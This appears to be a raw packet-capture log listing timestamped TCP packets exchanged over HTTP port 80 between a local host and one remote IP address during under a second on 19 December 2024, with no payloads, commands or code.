Dec 19, 2024 06:09:21.006668091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.006757021 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.006824970 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.009749889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.009809017 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.009881973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.009946108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.012849092 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.012886047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.012912035 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.012937069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.015861988 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.015916109 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.015917063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.015964985 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.018990993 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.019046068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.019099951 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.019154072 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.021795034 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.021859884 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.021899939 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.021955013 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.024970055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.025007963 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.025034904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.025067091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.027857065 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.027915955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.027978897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.028034925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.030910015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.030961990 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.030994892 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.031044006 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.033905029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.033979893 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.034038067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.034094095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.036983967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.037039995 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.037041903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.037092924 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.039944887 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.039999008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.040075064 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.040138960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.043035984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.043072939 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.043102026 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.043128014 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.046027899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.046128035 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.046158075 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.046212912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.049035072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.049093008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.049124002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.049174070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.052021027 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.052083015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.052158117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.052201986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.055041075 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.055104017 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.055176020 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.055226088 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.058104038 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.058166027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.058192015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.058248043 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.061156034 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.061232090 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.061289072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.061343908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.064136028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.064205885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.064253092 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.064311028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.067136049 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.067203999 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.067256927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.067327023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.070261002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.070313931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.070390940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.070440054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.073193073 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.073246002 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.073309898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.073360920 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.076211929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.076323986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.076328039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.076370955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.079288960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.079396963 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.079488039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.079541922 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.082304001 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.082361937 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.082432985 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.082484961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.085269928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.085324049 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.085386992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.085434914 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.088304996 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.088366032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.164951086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.165021896 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.165065050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.165102005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.166127920 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.166161060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.166237116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.166266918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.168621063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.168653965 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.168673992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.168704987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.170973063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.171004057 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.171061993 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.171091080 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.173273087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.173304081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.173383951 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.173418045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.175612926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.175668001 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.175719976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.175756931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.177926064 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.177963018 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.178021908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.178057909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.180188894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.180222034 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.180286884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.180318117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.182365894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.182401896 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.182410002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.182440042 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.184525013 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.184556961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.184639931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.184673071 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.186721087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.186752081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.186873913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.186914921 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.188806057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.188853025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.188918114 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.188950062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.190917969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.190958977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.191008091 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.191042900 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.193005085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.193046093 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.193115950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.193146944 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.195055008 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.195096970 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.195168018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.195202112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.197093010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.197130919 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.197205067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.197242022 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.199086905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.199139118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.199162006 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.199198961 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.201591015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.201631069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.201653004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.201684952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.203043938 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.203078985 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.203149080 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.203182936 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.205003977 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.205051899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.205147982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.205183029 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.206962109 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.206999063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.207062960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.207099915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.208899975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.208951950 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.209033012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.209070921 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.210764885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.210802078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.210875988 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.210911989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.212685108 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.212733030 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.212827921 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.212863922 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.214576006 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.214611053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.214689016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.214718103 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.216476917 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.216516972 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.216587067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.216619015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.218374968 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.218446016 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.218485117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.218527079 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.220371962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.220412016 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.220455885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.220488071 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.222160101 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.222202063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.222264051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.222301960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.224097967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.224204063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.224210024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.224239111 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.225987911 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.226030111 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.226097107 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.226129055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.227873087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.227907896 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.227984905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.228019953 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.229871035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.229912996 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.229985952 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.230025053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.231683016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.231724024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.231786966 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.231826067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.233568907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.233617067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.233671904 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.233711004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.235451937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.235522032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.235559940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.235598087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.237343073 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.237385988 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.237471104 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.237505913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.239240885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.239279032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.239355087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.239387989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.241147995 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.241183996 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.241233110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.241266012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.243035078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.243098974 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.243170023 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.243206978 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.244924068 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.244965076 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.245042086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.245075941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.246835947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.246875048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.246959925 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.246999979 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.248796940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.248833895 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.248913050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.248950005 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.250628948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.250710964 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.250739098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.250775099 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.252516985 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.252551079 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.252621889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.252654076 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.254427910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.254466057 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.254534006 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.254568100 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.256315947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.256351948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.256403923 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.256437063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.258213997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.258249998 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.258333921 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.258368969 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.260139942 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.260257959 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.260265112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.260308027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.262020111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.262053013 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.262125015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.262159109 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.263921976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.263961077 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.356995106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.357058048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.357079983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.357140064 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.358176947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.358237982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.358412027 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.358468056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.359158039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.359201908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.359273911 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.359343052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.360658884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.360676050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.360709906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.360739946 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.362030029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.362095118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.362133980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.362184048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.363399029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.363451004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.363506079 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.363559008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.364768982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.364820004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.364866018 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.364912033 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.366209984 CET	80	49787	31.41.244.11	192.168.2.4
